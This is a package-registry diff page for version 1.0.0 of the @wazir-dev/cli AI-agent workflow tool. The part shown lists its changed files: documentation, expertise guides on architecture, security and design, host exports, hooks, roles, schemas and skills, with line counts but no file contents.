@wazir-dev/cli 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (629) hide show
  1. package/AGENTS.md +111 -0
  2. package/CHANGELOG.md +14 -0
  3. package/CONTRIBUTING.md +101 -0
  4. package/LICENSE +21 -0
  5. package/README.md +314 -0
  6. package/assets/composition-engine.mmd +34 -0
  7. package/assets/demo-script.sh +17 -0
  8. package/assets/logo-dark.svg +14 -0
  9. package/assets/logo.svg +14 -0
  10. package/assets/pipeline.mmd +39 -0
  11. package/assets/record-demo.sh +51 -0
  12. package/docs/README.md +51 -0
  13. package/docs/adapters/context-mode.md +60 -0
  14. package/docs/concepts/architecture.md +87 -0
  15. package/docs/concepts/artifact-model.md +60 -0
  16. package/docs/concepts/composition-engine.md +36 -0
  17. package/docs/concepts/indexing-and-recall.md +160 -0
  18. package/docs/concepts/observability.md +41 -0
  19. package/docs/concepts/roles-and-workflows.md +59 -0
  20. package/docs/concepts/terminology-policy.md +27 -0
  21. package/docs/getting-started/01-installation.md +78 -0
  22. package/docs/getting-started/02-first-run.md +102 -0
  23. package/docs/getting-started/03-adding-to-project.md +15 -0
  24. package/docs/getting-started/04-host-setup.md +15 -0
  25. package/docs/guides/ci-integration.md +15 -0
  26. package/docs/guides/creating-skills.md +15 -0
  27. package/docs/guides/expertise-module-authoring.md +15 -0
  28. package/docs/guides/hook-development.md +15 -0
  29. package/docs/guides/memory-and-learnings.md +34 -0
  30. package/docs/guides/multi-host-export.md +15 -0
  31. package/docs/guides/troubleshooting.md +101 -0
  32. package/docs/guides/writing-custom-roles.md +15 -0
  33. package/docs/plans/2026-03-15-cli-pipeline-integration-design.md +592 -0
  34. package/docs/plans/2026-03-15-cli-pipeline-integration-plan.md +598 -0
  35. package/docs/plans/2026-03-15-docs-enforcement-plan.md +238 -0
  36. package/docs/readmes/INDEX.md +99 -0
  37. package/docs/readmes/features/expertise/README.md +171 -0
  38. package/docs/readmes/features/exports/README.md +222 -0
  39. package/docs/readmes/features/hooks/README.md +103 -0
  40. package/docs/readmes/features/hooks/loop-cap-guard.md +133 -0
  41. package/docs/readmes/features/hooks/post-tool-capture.md +121 -0
  42. package/docs/readmes/features/hooks/post-tool-lint.md +130 -0
  43. package/docs/readmes/features/hooks/pre-compact-summary.md +122 -0
  44. package/docs/readmes/features/hooks/pre-tool-capture-route.md +100 -0
  45. package/docs/readmes/features/hooks/protected-path-write-guard.md +128 -0
  46. package/docs/readmes/features/hooks/session-start.md +119 -0
  47. package/docs/readmes/features/hooks/stop-handoff-harvest.md +125 -0
  48. package/docs/readmes/features/roles/README.md +157 -0
  49. package/docs/readmes/features/roles/clarifier.md +152 -0
  50. package/docs/readmes/features/roles/content-author.md +190 -0
  51. package/docs/readmes/features/roles/designer.md +193 -0
  52. package/docs/readmes/features/roles/executor.md +184 -0
  53. package/docs/readmes/features/roles/learner.md +210 -0
  54. package/docs/readmes/features/roles/planner.md +182 -0
  55. package/docs/readmes/features/roles/researcher.md +164 -0
  56. package/docs/readmes/features/roles/reviewer.md +184 -0
  57. package/docs/readmes/features/roles/specifier.md +162 -0
  58. package/docs/readmes/features/roles/verifier.md +215 -0
  59. package/docs/readmes/features/schemas/README.md +178 -0
  60. package/docs/readmes/features/skills/README.md +63 -0
  61. package/docs/readmes/features/skills/brainstorming.md +96 -0
  62. package/docs/readmes/features/skills/debugging.md +148 -0
  63. package/docs/readmes/features/skills/design.md +120 -0
  64. package/docs/readmes/features/skills/prepare-next.md +109 -0
  65. package/docs/readmes/features/skills/run-audit.md +159 -0
  66. package/docs/readmes/features/skills/scan-project.md +109 -0
  67. package/docs/readmes/features/skills/self-audit.md +176 -0
  68. package/docs/readmes/features/skills/tdd.md +137 -0
  69. package/docs/readmes/features/skills/using-skills.md +92 -0
  70. package/docs/readmes/features/skills/verification.md +120 -0
  71. package/docs/readmes/features/skills/writing-plans.md +104 -0
  72. package/docs/readmes/features/tooling/README.md +320 -0
  73. package/docs/readmes/features/workflows/README.md +186 -0
  74. package/docs/readmes/features/workflows/author.md +181 -0
  75. package/docs/readmes/features/workflows/clarify.md +154 -0
  76. package/docs/readmes/features/workflows/design-review.md +171 -0
  77. package/docs/readmes/features/workflows/design.md +169 -0
  78. package/docs/readmes/features/workflows/discover.md +162 -0
  79. package/docs/readmes/features/workflows/execute.md +173 -0
  80. package/docs/readmes/features/workflows/learn.md +167 -0
  81. package/docs/readmes/features/workflows/plan-review.md +165 -0
  82. package/docs/readmes/features/workflows/plan.md +170 -0
  83. package/docs/readmes/features/workflows/prepare-next.md +167 -0
  84. package/docs/readmes/features/workflows/review.md +169 -0
  85. package/docs/readmes/features/workflows/run-audit.md +191 -0
  86. package/docs/readmes/features/workflows/spec-challenge.md +159 -0
  87. package/docs/readmes/features/workflows/specify.md +160 -0
  88. package/docs/readmes/features/workflows/verify.md +177 -0
  89. package/docs/readmes/packages/README.md +50 -0
  90. package/docs/readmes/packages/ajv.md +117 -0
  91. package/docs/readmes/packages/context-mode.md +118 -0
  92. package/docs/readmes/packages/gray-matter.md +116 -0
  93. package/docs/readmes/packages/node-test.md +137 -0
  94. package/docs/readmes/packages/yaml.md +112 -0
  95. package/docs/reference/configuration-reference.md +159 -0
  96. package/docs/reference/expertise-index.md +52 -0
  97. package/docs/reference/git-flow.md +43 -0
  98. package/docs/reference/hooks.md +87 -0
  99. package/docs/reference/host-exports.md +50 -0
  100. package/docs/reference/launch-checklist.md +172 -0
  101. package/docs/reference/marketplace-listings.md +76 -0
  102. package/docs/reference/release-process.md +34 -0
  103. package/docs/reference/roles-reference.md +77 -0
  104. package/docs/reference/skills.md +33 -0
  105. package/docs/reference/templates.md +29 -0
  106. package/docs/reference/tooling-cli.md +94 -0
  107. package/docs/truth-claims.yaml +222 -0
  108. package/expertise/PROGRESS.md +63 -0
  109. package/expertise/README.md +18 -0
  110. package/expertise/antipatterns/PROGRESS.md +56 -0
  111. package/expertise/antipatterns/backend/api-design-antipatterns.md +1271 -0
  112. package/expertise/antipatterns/backend/auth-antipatterns.md +1195 -0
  113. package/expertise/antipatterns/backend/caching-antipatterns.md +622 -0
  114. package/expertise/antipatterns/backend/database-antipatterns.md +1038 -0
  115. package/expertise/antipatterns/backend/index.md +24 -0
  116. package/expertise/antipatterns/backend/microservices-antipatterns.md +850 -0
  117. package/expertise/antipatterns/code/architecture-antipatterns.md +919 -0
  118. package/expertise/antipatterns/code/async-antipatterns.md +622 -0
  119. package/expertise/antipatterns/code/code-smells.md +1186 -0
  120. package/expertise/antipatterns/code/dependency-antipatterns.md +1209 -0
  121. package/expertise/antipatterns/code/error-handling-antipatterns.md +1360 -0
  122. package/expertise/antipatterns/code/index.md +27 -0
  123. package/expertise/antipatterns/code/naming-and-abstraction.md +1118 -0
  124. package/expertise/antipatterns/code/state-management-antipatterns.md +1076 -0
  125. package/expertise/antipatterns/code/testing-antipatterns.md +1053 -0
  126. package/expertise/antipatterns/design/accessibility-antipatterns.md +1136 -0
  127. package/expertise/antipatterns/design/dark-patterns.md +1121 -0
  128. package/expertise/antipatterns/design/index.md +22 -0
  129. package/expertise/antipatterns/design/ui-antipatterns.md +1202 -0
  130. package/expertise/antipatterns/design/ux-antipatterns.md +680 -0
  131. package/expertise/antipatterns/frontend/css-layout-antipatterns.md +691 -0
  132. package/expertise/antipatterns/frontend/flutter-antipatterns.md +1827 -0
  133. package/expertise/antipatterns/frontend/index.md +23 -0
  134. package/expertise/antipatterns/frontend/mobile-antipatterns.md +573 -0
  135. package/expertise/antipatterns/frontend/react-antipatterns.md +1128 -0
  136. package/expertise/antipatterns/frontend/spa-antipatterns.md +1235 -0
  137. package/expertise/antipatterns/index.md +31 -0
  138. package/expertise/antipatterns/performance/index.md +20 -0
  139. package/expertise/antipatterns/performance/performance-antipatterns.md +1013 -0
  140. package/expertise/antipatterns/performance/premature-optimization.md +623 -0
  141. package/expertise/antipatterns/performance/scaling-antipatterns.md +785 -0
  142. package/expertise/antipatterns/process/ai-coding-antipatterns.md +853 -0
  143. package/expertise/antipatterns/process/code-review-antipatterns.md +656 -0
  144. package/expertise/antipatterns/process/deployment-antipatterns.md +920 -0
  145. package/expertise/antipatterns/process/index.md +23 -0
  146. package/expertise/antipatterns/process/technical-debt-antipatterns.md +647 -0
  147. package/expertise/antipatterns/security/index.md +20 -0
  148. package/expertise/antipatterns/security/secrets-antipatterns.md +849 -0
  149. package/expertise/antipatterns/security/security-theater.md +843 -0
  150. package/expertise/antipatterns/security/vulnerability-patterns.md +801 -0
  151. package/expertise/architecture/PROGRESS.md +70 -0
  152. package/expertise/architecture/data/caching-architecture.md +671 -0
  153. package/expertise/architecture/data/data-consistency.md +574 -0
  154. package/expertise/architecture/data/data-modeling.md +536 -0
  155. package/expertise/architecture/data/event-streams-and-queues.md +634 -0
  156. package/expertise/architecture/data/index.md +25 -0
  157. package/expertise/architecture/data/search-architecture.md +663 -0
  158. package/expertise/architecture/data/sql-vs-nosql.md +708 -0
  159. package/expertise/architecture/decisions/architecture-decision-records.md +640 -0
  160. package/expertise/architecture/decisions/build-vs-buy.md +616 -0
  161. package/expertise/architecture/decisions/index.md +23 -0
  162. package/expertise/architecture/decisions/monolith-to-microservices.md +790 -0
  163. package/expertise/architecture/decisions/technology-selection.md +616 -0
  164. package/expertise/architecture/distributed/cap-theorem-and-tradeoffs.md +800 -0
  165. package/expertise/architecture/distributed/circuit-breaker-bulkhead.md +741 -0
  166. package/expertise/architecture/distributed/consensus-and-coordination.md +796 -0
  167. package/expertise/architecture/distributed/distributed-systems-fundamentals.md +564 -0
  168. package/expertise/architecture/distributed/idempotency-and-retry.md +796 -0
  169. package/expertise/architecture/distributed/index.md +25 -0
  170. package/expertise/architecture/distributed/saga-pattern.md +797 -0
  171. package/expertise/architecture/foundations/architectural-thinking.md +460 -0
  172. package/expertise/architecture/foundations/coupling-and-cohesion.md +770 -0
  173. package/expertise/architecture/foundations/design-principles-solid.md +649 -0
  174. package/expertise/architecture/foundations/domain-driven-design.md +719 -0
  175. package/expertise/architecture/foundations/index.md +25 -0
  176. package/expertise/architecture/foundations/separation-of-concerns.md +472 -0
  177. package/expertise/architecture/foundations/twelve-factor-app.md +797 -0
  178. package/expertise/architecture/index.md +34 -0
  179. package/expertise/architecture/integration/api-design-graphql.md +638 -0
  180. package/expertise/architecture/integration/api-design-grpc.md +804 -0
  181. package/expertise/architecture/integration/api-design-rest.md +892 -0
  182. package/expertise/architecture/integration/index.md +25 -0
  183. package/expertise/architecture/integration/third-party-integration.md +795 -0
  184. package/expertise/architecture/integration/webhooks-and-callbacks.md +1152 -0
  185. package/expertise/architecture/integration/websockets-realtime.md +791 -0
  186. package/expertise/architecture/mobile-architecture/index.md +22 -0
  187. package/expertise/architecture/mobile-architecture/mobile-app-architecture.md +780 -0
  188. package/expertise/architecture/mobile-architecture/mobile-backend-for-frontend.md +670 -0
  189. package/expertise/architecture/mobile-architecture/offline-first.md +719 -0
  190. package/expertise/architecture/mobile-architecture/push-and-sync.md +782 -0
  191. package/expertise/architecture/patterns/cqrs-event-sourcing.md +717 -0
  192. package/expertise/architecture/patterns/event-driven.md +797 -0
  193. package/expertise/architecture/patterns/hexagonal-clean-architecture.md +870 -0
  194. package/expertise/architecture/patterns/index.md +27 -0
  195. package/expertise/architecture/patterns/layered-architecture.md +736 -0
  196. package/expertise/architecture/patterns/microservices.md +753 -0
  197. package/expertise/architecture/patterns/modular-monolith.md +692 -0
  198. package/expertise/architecture/patterns/monolith.md +626 -0
  199. package/expertise/architecture/patterns/plugin-architecture.md +735 -0
  200. package/expertise/architecture/patterns/serverless.md +780 -0
  201. package/expertise/architecture/scaling/database-scaling.md +615 -0
  202. package/expertise/architecture/scaling/feature-flags-and-rollouts.md +757 -0
  203. package/expertise/architecture/scaling/horizontal-vs-vertical.md +606 -0
  204. package/expertise/architecture/scaling/index.md +24 -0
  205. package/expertise/architecture/scaling/multi-tenancy.md +800 -0
  206. package/expertise/architecture/scaling/stateless-design.md +787 -0
  207. package/expertise/backend/embedded-firmware.md +625 -0
  208. package/expertise/backend/go.md +853 -0
  209. package/expertise/backend/index.md +24 -0
  210. package/expertise/backend/java-spring.md +448 -0
  211. package/expertise/backend/node-typescript.md +625 -0
  212. package/expertise/backend/python-fastapi.md +724 -0
  213. package/expertise/backend/rust.md +458 -0
  214. package/expertise/backend/solidity.md +711 -0
  215. package/expertise/composition-map.yaml +443 -0
  216. package/expertise/content/foundations/content-modeling.md +395 -0
  217. package/expertise/content/foundations/editorial-standards.md +449 -0
  218. package/expertise/content/foundations/index.md +24 -0
  219. package/expertise/content/foundations/microcopy.md +455 -0
  220. package/expertise/content/foundations/terminology-governance.md +509 -0
  221. package/expertise/content/index.md +34 -0
  222. package/expertise/content/patterns/accessibility-copy.md +518 -0
  223. package/expertise/content/patterns/index.md +24 -0
  224. package/expertise/content/patterns/notification-content.md +433 -0
  225. package/expertise/content/patterns/sample-content.md +486 -0
  226. package/expertise/content/patterns/state-copy.md +439 -0
  227. package/expertise/design/PROGRESS.md +58 -0
  228. package/expertise/design/disciplines/dark-mode-theming.md +577 -0
  229. package/expertise/design/disciplines/design-systems.md +595 -0
  230. package/expertise/design/disciplines/index.md +25 -0
  231. package/expertise/design/disciplines/information-architecture.md +800 -0
  232. package/expertise/design/disciplines/interaction-design.md +788 -0
  233. package/expertise/design/disciplines/responsive-design.md +552 -0
  234. package/expertise/design/disciplines/usability-testing.md +516 -0
  235. package/expertise/design/disciplines/user-research.md +792 -0
  236. package/expertise/design/foundations/accessibility-design.md +796 -0
  237. package/expertise/design/foundations/color-theory.md +797 -0
  238. package/expertise/design/foundations/iconography.md +795 -0
  239. package/expertise/design/foundations/index.md +26 -0
  240. package/expertise/design/foundations/motion-and-animation.md +653 -0
  241. package/expertise/design/foundations/rtl-design.md +585 -0
  242. package/expertise/design/foundations/spacing-and-layout.md +607 -0
  243. package/expertise/design/foundations/typography.md +800 -0
  244. package/expertise/design/foundations/visual-hierarchy.md +761 -0
  245. package/expertise/design/index.md +32 -0
  246. package/expertise/design/patterns/authentication-flows.md +474 -0
  247. package/expertise/design/patterns/content-consumption.md +789 -0
  248. package/expertise/design/patterns/data-display.md +618 -0
  249. package/expertise/design/patterns/e-commerce.md +1494 -0
  250. package/expertise/design/patterns/feedback-and-states.md +642 -0
  251. package/expertise/design/patterns/forms-and-input.md +819 -0
  252. package/expertise/design/patterns/gamification.md +801 -0
  253. package/expertise/design/patterns/index.md +31 -0
  254. package/expertise/design/patterns/microinteractions.md +449 -0
  255. package/expertise/design/patterns/navigation.md +800 -0
  256. package/expertise/design/patterns/notifications.md +705 -0
  257. package/expertise/design/patterns/onboarding.md +700 -0
  258. package/expertise/design/patterns/search-and-filter.md +601 -0
  259. package/expertise/design/patterns/settings-and-preferences.md +768 -0
  260. package/expertise/design/patterns/social-and-community.md +748 -0
  261. package/expertise/design/platforms/desktop-native.md +612 -0
  262. package/expertise/design/platforms/index.md +25 -0
  263. package/expertise/design/platforms/mobile-android.md +825 -0
  264. package/expertise/design/platforms/mobile-cross-platform.md +983 -0
  265. package/expertise/design/platforms/mobile-ios.md +699 -0
  266. package/expertise/design/platforms/tablet.md +794 -0
  267. package/expertise/design/platforms/web-dashboard.md +790 -0
  268. package/expertise/design/platforms/web-responsive.md +550 -0
  269. package/expertise/design/psychology/behavioral-nudges.md +449 -0
  270. package/expertise/design/psychology/cognitive-load.md +1191 -0
  271. package/expertise/design/psychology/error-psychology.md +778 -0
  272. package/expertise/design/psychology/index.md +22 -0
  273. package/expertise/design/psychology/persuasive-design.md +736 -0
  274. package/expertise/design/psychology/user-mental-models.md +623 -0
  275. package/expertise/design/tooling/open-pencil.md +266 -0
  276. package/expertise/frontend/angular.md +1073 -0
  277. package/expertise/frontend/desktop-electron.md +546 -0
  278. package/expertise/frontend/flutter.md +782 -0
  279. package/expertise/frontend/index.md +27 -0
  280. package/expertise/frontend/native-android.md +409 -0
  281. package/expertise/frontend/native-ios.md +490 -0
  282. package/expertise/frontend/react-native.md +1160 -0
  283. package/expertise/frontend/react.md +808 -0
  284. package/expertise/frontend/vue.md +1089 -0
  285. package/expertise/humanize/domain-rules-code.md +79 -0
  286. package/expertise/humanize/domain-rules-content.md +67 -0
  287. package/expertise/humanize/domain-rules-technical-docs.md +56 -0
  288. package/expertise/humanize/index.md +35 -0
  289. package/expertise/humanize/self-audit-checklist.md +87 -0
  290. package/expertise/humanize/sentence-patterns.md +218 -0
  291. package/expertise/humanize/vocabulary-blacklist.md +105 -0
  292. package/expertise/i18n/PROGRESS.md +65 -0
  293. package/expertise/i18n/advanced/accessibility-and-i18n.md +28 -0
  294. package/expertise/i18n/advanced/bidirectional-text-algorithm.md +38 -0
  295. package/expertise/i18n/advanced/complex-scripts.md +30 -0
  296. package/expertise/i18n/advanced/performance-and-i18n.md +27 -0
  297. package/expertise/i18n/advanced/testing-i18n.md +28 -0
  298. package/expertise/i18n/content/content-adaptation.md +23 -0
  299. package/expertise/i18n/content/locale-specific-formatting.md +23 -0
  300. package/expertise/i18n/content/machine-translation-integration.md +28 -0
  301. package/expertise/i18n/content/translation-management.md +29 -0
  302. package/expertise/i18n/foundations/date-time-calendars.md +67 -0
  303. package/expertise/i18n/foundations/i18n-architecture.md +272 -0
  304. package/expertise/i18n/foundations/locale-and-language-tags.md +79 -0
  305. package/expertise/i18n/foundations/numbers-currency-units.md +61 -0
  306. package/expertise/i18n/foundations/pluralization-and-gender.md +109 -0
  307. package/expertise/i18n/foundations/string-externalization.md +236 -0
  308. package/expertise/i18n/foundations/text-direction-bidi.md +241 -0
  309. package/expertise/i18n/foundations/unicode-and-encoding.md +86 -0
  310. package/expertise/i18n/index.md +38 -0
  311. package/expertise/i18n/platform/backend-i18n.md +31 -0
  312. package/expertise/i18n/platform/flutter-i18n.md +148 -0
  313. package/expertise/i18n/platform/native-android-i18n.md +36 -0
  314. package/expertise/i18n/platform/native-ios-i18n.md +36 -0
  315. package/expertise/i18n/platform/react-i18n.md +103 -0
  316. package/expertise/i18n/platform/web-css-i18n.md +81 -0
  317. package/expertise/i18n/rtl/arabic-specific.md +175 -0
  318. package/expertise/i18n/rtl/hebrew-specific.md +149 -0
  319. package/expertise/i18n/rtl/rtl-animations-and-transitions.md +111 -0
  320. package/expertise/i18n/rtl/rtl-forms-and-input.md +161 -0
  321. package/expertise/i18n/rtl/rtl-fundamentals.md +211 -0
  322. package/expertise/i18n/rtl/rtl-icons-and-images.md +181 -0
  323. package/expertise/i18n/rtl/rtl-layout-mirroring.md +252 -0
  324. package/expertise/i18n/rtl/rtl-navigation-and-gestures.md +107 -0
  325. package/expertise/i18n/rtl/rtl-testing-and-qa.md +147 -0
  326. package/expertise/i18n/rtl/rtl-typography.md +160 -0
  327. package/expertise/index.md +113 -0
  328. package/expertise/index.yaml +216 -0
  329. package/expertise/infrastructure/cloud-aws.md +597 -0
  330. package/expertise/infrastructure/cloud-gcp.md +599 -0
  331. package/expertise/infrastructure/cybersecurity.md +816 -0
  332. package/expertise/infrastructure/database-mongodb.md +447 -0
  333. package/expertise/infrastructure/database-postgres.md +400 -0
  334. package/expertise/infrastructure/devops-cicd.md +787 -0
  335. package/expertise/infrastructure/index.md +27 -0
  336. package/expertise/performance/PROGRESS.md +50 -0
  337. package/expertise/performance/backend/api-latency.md +1204 -0
  338. package/expertise/performance/backend/background-jobs.md +506 -0
  339. package/expertise/performance/backend/connection-pooling.md +1209 -0
  340. package/expertise/performance/backend/database-query-optimization.md +515 -0
  341. package/expertise/performance/backend/index.md +23 -0
  342. package/expertise/performance/backend/rate-limiting-and-throttling.md +971 -0
  343. package/expertise/performance/foundations/algorithmic-complexity.md +954 -0
  344. package/expertise/performance/foundations/caching-strategies.md +489 -0
  345. package/expertise/performance/foundations/concurrency-and-parallelism.md +847 -0
  346. package/expertise/performance/foundations/index.md +24 -0
  347. package/expertise/performance/foundations/measuring-and-profiling.md +440 -0
  348. package/expertise/performance/foundations/memory-management.md +964 -0
  349. package/expertise/performance/foundations/performance-budgets.md +1314 -0
  350. package/expertise/performance/index.md +31 -0
  351. package/expertise/performance/infrastructure/auto-scaling.md +1059 -0
  352. package/expertise/performance/infrastructure/cdn-and-edge.md +1081 -0
  353. package/expertise/performance/infrastructure/index.md +22 -0
  354. package/expertise/performance/infrastructure/load-balancing.md +1081 -0
  355. package/expertise/performance/infrastructure/observability.md +1079 -0
  356. package/expertise/performance/mobile/index.md +23 -0
  357. package/expertise/performance/mobile/mobile-animations.md +544 -0
  358. package/expertise/performance/mobile/mobile-memory-battery.md +416 -0
  359. package/expertise/performance/mobile/mobile-network.md +452 -0
  360. package/expertise/performance/mobile/mobile-rendering.md +599 -0
  361. package/expertise/performance/mobile/mobile-startup-time.md +505 -0
  362. package/expertise/performance/platform-specific/flutter-performance.md +647 -0
  363. package/expertise/performance/platform-specific/index.md +22 -0
  364. package/expertise/performance/platform-specific/node-performance.md +1307 -0
  365. package/expertise/performance/platform-specific/postgres-performance.md +1366 -0
  366. package/expertise/performance/platform-specific/react-performance.md +1403 -0
  367. package/expertise/performance/web/bundle-optimization.md +1239 -0
  368. package/expertise/performance/web/image-and-media.md +636 -0
  369. package/expertise/performance/web/index.md +24 -0
  370. package/expertise/performance/web/network-optimization.md +1133 -0
  371. package/expertise/performance/web/rendering-performance.md +1098 -0
  372. package/expertise/performance/web/ssr-and-hydration.md +918 -0
  373. package/expertise/performance/web/web-vitals.md +1374 -0
  374. package/expertise/quality/accessibility.md +985 -0
  375. package/expertise/quality/evidence-based-verification.md +499 -0
  376. package/expertise/quality/index.md +24 -0
  377. package/expertise/quality/ml-model-audit.md +614 -0
  378. package/expertise/quality/performance.md +600 -0
  379. package/expertise/quality/testing-api.md +891 -0
  380. package/expertise/quality/testing-mobile.md +496 -0
  381. package/expertise/quality/testing-web.md +849 -0
  382. package/expertise/security/PROGRESS.md +54 -0
  383. package/expertise/security/agentic-identity.md +540 -0
  384. package/expertise/security/compliance-frameworks.md +601 -0
  385. package/expertise/security/data/data-encryption.md +364 -0
  386. package/expertise/security/data/data-privacy-gdpr.md +692 -0
  387. package/expertise/security/data/database-security.md +1171 -0
  388. package/expertise/security/data/index.md +22 -0
  389. package/expertise/security/data/pii-handling.md +531 -0
  390. package/expertise/security/foundations/authentication.md +1041 -0
  391. package/expertise/security/foundations/authorization.md +603 -0
  392. package/expertise/security/foundations/cryptography.md +1001 -0
  393. package/expertise/security/foundations/index.md +25 -0
  394. package/expertise/security/foundations/owasp-top-10.md +1354 -0
  395. package/expertise/security/foundations/secrets-management.md +1217 -0
  396. package/expertise/security/foundations/secure-sdlc.md +700 -0
  397. package/expertise/security/foundations/supply-chain-security.md +698 -0
  398. package/expertise/security/index.md +31 -0
  399. package/expertise/security/infrastructure/cloud-security-aws.md +1296 -0
  400. package/expertise/security/infrastructure/cloud-security-gcp.md +1376 -0
  401. package/expertise/security/infrastructure/container-security.md +721 -0
  402. package/expertise/security/infrastructure/incident-response.md +1295 -0
  403. package/expertise/security/infrastructure/index.md +24 -0
  404. package/expertise/security/infrastructure/logging-and-monitoring.md +1618 -0
  405. package/expertise/security/infrastructure/network-security.md +1337 -0
  406. package/expertise/security/mobile/index.md +23 -0
  407. package/expertise/security/mobile/mobile-android-security.md +1218 -0
  408. package/expertise/security/mobile/mobile-binary-protection.md +1229 -0
  409. package/expertise/security/mobile/mobile-data-storage.md +1265 -0
  410. package/expertise/security/mobile/mobile-ios-security.md +1401 -0
  411. package/expertise/security/mobile/mobile-network-security.md +1520 -0
  412. package/expertise/security/smart-contract-security.md +594 -0
  413. package/expertise/security/testing/index.md +22 -0
  414. package/expertise/security/testing/penetration-testing.md +1258 -0
  415. package/expertise/security/testing/security-code-review.md +1765 -0
  416. package/expertise/security/testing/threat-modeling.md +1074 -0
  417. package/expertise/security/testing/vulnerability-scanning.md +1062 -0
  418. package/expertise/security/web/api-security.md +586 -0
  419. package/expertise/security/web/cors-and-headers.md +433 -0
  420. package/expertise/security/web/csrf.md +562 -0
  421. package/expertise/security/web/file-upload.md +1477 -0
  422. package/expertise/security/web/index.md +25 -0
  423. package/expertise/security/web/injection.md +1375 -0
  424. package/expertise/security/web/session-management.md +1101 -0
  425. package/expertise/security/web/xss.md +1158 -0
  426. package/exports/README.md +17 -0
  427. package/exports/hosts/claude/.claude/agents/clarifier.md +42 -0
  428. package/exports/hosts/claude/.claude/agents/content-author.md +63 -0
  429. package/exports/hosts/claude/.claude/agents/designer.md +55 -0
  430. package/exports/hosts/claude/.claude/agents/executor.md +55 -0
  431. package/exports/hosts/claude/.claude/agents/learner.md +51 -0
  432. package/exports/hosts/claude/.claude/agents/planner.md +53 -0
  433. package/exports/hosts/claude/.claude/agents/researcher.md +43 -0
  434. package/exports/hosts/claude/.claude/agents/reviewer.md +54 -0
  435. package/exports/hosts/claude/.claude/agents/specifier.md +47 -0
  436. package/exports/hosts/claude/.claude/agents/verifier.md +71 -0
  437. package/exports/hosts/claude/.claude/commands/author.md +42 -0
  438. package/exports/hosts/claude/.claude/commands/clarify.md +38 -0
  439. package/exports/hosts/claude/.claude/commands/design-review.md +46 -0
  440. package/exports/hosts/claude/.claude/commands/design.md +44 -0
  441. package/exports/hosts/claude/.claude/commands/discover.md +37 -0
  442. package/exports/hosts/claude/.claude/commands/execute.md +48 -0
  443. package/exports/hosts/claude/.claude/commands/learn.md +38 -0
  444. package/exports/hosts/claude/.claude/commands/plan-review.md +42 -0
  445. package/exports/hosts/claude/.claude/commands/plan.md +39 -0
  446. package/exports/hosts/claude/.claude/commands/prepare-next.md +37 -0
  447. package/exports/hosts/claude/.claude/commands/review.md +40 -0
  448. package/exports/hosts/claude/.claude/commands/run-audit.md +41 -0
  449. package/exports/hosts/claude/.claude/commands/spec-challenge.md +41 -0
  450. package/exports/hosts/claude/.claude/commands/specify.md +38 -0
  451. package/exports/hosts/claude/.claude/commands/verify.md +37 -0
  452. package/exports/hosts/claude/.claude/settings.json +34 -0
  453. package/exports/hosts/claude/CLAUDE.md +19 -0
  454. package/exports/hosts/claude/export.manifest.json +38 -0
  455. package/exports/hosts/claude/host-package.json +67 -0
  456. package/exports/hosts/codex/AGENTS.md +19 -0
  457. package/exports/hosts/codex/export.manifest.json +38 -0
  458. package/exports/hosts/codex/host-package.json +41 -0
  459. package/exports/hosts/cursor/.cursor/hooks.json +16 -0
  460. package/exports/hosts/cursor/.cursor/rules/wazir-core.mdc +19 -0
  461. package/exports/hosts/cursor/export.manifest.json +38 -0
  462. package/exports/hosts/cursor/host-package.json +42 -0
  463. package/exports/hosts/gemini/GEMINI.md +19 -0
  464. package/exports/hosts/gemini/export.manifest.json +38 -0
  465. package/exports/hosts/gemini/host-package.json +41 -0
  466. package/hooks/README.md +18 -0
  467. package/hooks/definitions/loop_cap_guard.yaml +21 -0
  468. package/hooks/definitions/post_tool_capture.yaml +24 -0
  469. package/hooks/definitions/pre_compact_summary.yaml +19 -0
  470. package/hooks/definitions/pre_tool_capture_route.yaml +19 -0
  471. package/hooks/definitions/protected_path_write_guard.yaml +19 -0
  472. package/hooks/definitions/session_start.yaml +19 -0
  473. package/hooks/definitions/stop_handoff_harvest.yaml +20 -0
  474. package/hooks/loop-cap-guard +17 -0
  475. package/hooks/post-tool-lint +36 -0
  476. package/hooks/protected-path-write-guard +17 -0
  477. package/hooks/session-start +41 -0
  478. package/llms-full.txt +2355 -0
  479. package/llms.txt +43 -0
  480. package/package.json +79 -0
  481. package/roles/README.md +20 -0
  482. package/roles/clarifier.md +42 -0
  483. package/roles/content-author.md +63 -0
  484. package/roles/designer.md +55 -0
  485. package/roles/executor.md +55 -0
  486. package/roles/learner.md +51 -0
  487. package/roles/planner.md +53 -0
  488. package/roles/researcher.md +43 -0
  489. package/roles/reviewer.md +54 -0
  490. package/roles/specifier.md +47 -0
  491. package/roles/verifier.md +71 -0
  492. package/schemas/README.md +24 -0
  493. package/schemas/accepted-learning.schema.json +20 -0
  494. package/schemas/author-artifact.schema.json +156 -0
  495. package/schemas/clarification.schema.json +19 -0
  496. package/schemas/design-artifact.schema.json +80 -0
  497. package/schemas/docs-claim.schema.json +18 -0
  498. package/schemas/export-manifest.schema.json +20 -0
  499. package/schemas/hook.schema.json +67 -0
  500. package/schemas/host-export-package.schema.json +18 -0
  501. package/schemas/implementation-plan.schema.json +19 -0
  502. package/schemas/proposed-learning.schema.json +19 -0
  503. package/schemas/research.schema.json +18 -0
  504. package/schemas/review.schema.json +29 -0
  505. package/schemas/run-manifest.schema.json +18 -0
  506. package/schemas/spec-challenge.schema.json +18 -0
  507. package/schemas/spec.schema.json +20 -0
  508. package/schemas/usage.schema.json +102 -0
  509. package/schemas/verification-proof.schema.json +29 -0
  510. package/schemas/wazir-manifest.schema.json +173 -0
  511. package/skills/README.md +40 -0
  512. package/skills/brainstorming/SKILL.md +77 -0
  513. package/skills/debugging/SKILL.md +50 -0
  514. package/skills/design/SKILL.md +61 -0
  515. package/skills/dispatching-parallel-agents/SKILL.md +128 -0
  516. package/skills/executing-plans/SKILL.md +70 -0
  517. package/skills/finishing-a-development-branch/SKILL.md +169 -0
  518. package/skills/humanize/SKILL.md +123 -0
  519. package/skills/init-pipeline/SKILL.md +124 -0
  520. package/skills/prepare-next/SKILL.md +20 -0
  521. package/skills/receiving-code-review/SKILL.md +123 -0
  522. package/skills/requesting-code-review/SKILL.md +105 -0
  523. package/skills/requesting-code-review/code-reviewer.md +108 -0
  524. package/skills/run-audit/SKILL.md +197 -0
  525. package/skills/scan-project/SKILL.md +41 -0
  526. package/skills/self-audit/SKILL.md +153 -0
  527. package/skills/subagent-driven-development/SKILL.md +154 -0
